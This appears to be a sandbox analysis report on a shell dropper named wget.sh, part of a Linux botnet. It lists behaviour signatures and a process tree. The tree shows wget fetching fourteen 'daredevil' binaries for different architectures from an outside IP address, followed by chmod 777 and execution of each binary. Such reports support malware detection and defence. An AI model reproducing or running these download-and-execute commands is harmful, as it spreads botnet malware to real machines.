Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

7

wget.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    3s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/09/2026, 17:52

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General

  • Target
    wget.sh
  • Size 1KB
  • Sample260902-wfwlcsvvex
  • SHA256 c27fd566c8e1b0efa48b3f36ca5546f4bac3182f4c6706c39133aef39670868d
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Traces itself 2 IoCs

    Traces itself to prevent debugging attempts

  • Checks hardware identifiers (DMI) 1 TTPs 2 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
      PID:1512
      • /bin/rm
        rm -f "daredevil.*"
        2⤵
          PID:1513
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.armv7l
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1520
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.mipsel
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1525
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.armv5l
          2⤵
          • Writes file to tmp directory
          PID:1526
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.armv6l
          2⤵
          • Writes file to tmp directory
          PID:1527
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1528
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.armv4l
          2⤵
          • Writes file to tmp directory
          PID:1529
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.arc
          2⤵
          • Writes file to tmp directory
          PID:1530
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.i486
          2⤵
          • Writes file to tmp directory
          PID:1531
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.m68k
          2⤵
          • Writes file to tmp directory
          PID:1532
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.mipsrouter
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1533
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.powerpc
          2⤵
          • Writes file to tmp directory
          PID:1534
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.sh4
          2⤵
          • Writes file to tmp directory
          PID:1535
        • /usr/bin/wget
          wget http://176.65.139.202/daredevil.sparc
          2⤵
          • Writes file to tmp directory
          PID:1536
        • /bin/chmod
          chmod 777 daredevil.arc daredevil.armv4l daredevil.armv5l daredevil.armv6l daredevil.armv7l daredevil.i486 daredevil.m68k daredevil.mips daredevil.mipsel daredevil.mipsrouter daredevil.powerpc daredevil.sh4 daredevil.sparc daredevil.x86_64
          2⤵
          • File and Directory Permissions Modification
          PID:1537
        • /tmp/daredevil.armv7l
          ./daredevil.armv7l
          2⤵
            PID:1538
          • /tmp/daredevil.mips
            ./daredevil.mips
            2⤵
            • System Network Configuration Discovery
            PID:1540
          • /tmp/daredevil.mipsel
            ./daredevil.mipsel
            2⤵
            • System Network Configuration Discovery
            PID:1542
          • /tmp/daredevil.armv5l
            ./daredevil.armv5l
            2⤵
              PID:1544
            • /tmp/daredevil.armv6l
              ./daredevil.armv6l
              2⤵
                PID:1546
              • /tmp/daredevil.x86_64
                ./daredevil.x86_64
                2⤵
                • Traces itself
                • Checks hardware identifiers (DMI)
                • Reads runtime system information
                PID:1548
              • /tmp/daredevil.armv4l
                ./daredevil.armv4l
                2⤵
                  PID:1549
                • /tmp/daredevil.arc
                  ./daredevil.arc
                  2⤵
                    PID:1551
                  • /tmp/daredevil.i486
                    ./daredevil.i486
                    2⤵
                    • Traces itself
                    • Checks hardware identifiers (DMI)
                    • Reads runtime system information
                    PID:1553
                  • /tmp/daredevil.m68k
                    ./daredevil.m68k
                    2⤵
                      PID:1554
                    • /tmp/daredevil.mipsrouter
                      ./daredevil.mipsrouter
                      2⤵
                      • System Network Configuration Discovery
                      PID:1556
                    • /tmp/daredevil.powerpc
                      ./daredevil.powerpc
                      2⤵
                        PID:1558
                      • /tmp/daredevil.sh4
                        ./daredevil.sh4
                        2⤵
                          PID:1560
                        • /tmp/daredevil.sparc
                          ./daredevil.sparc
                          2⤵
                            PID:1562

                        Network

                              MITRE ATT&CK Enterprise v16

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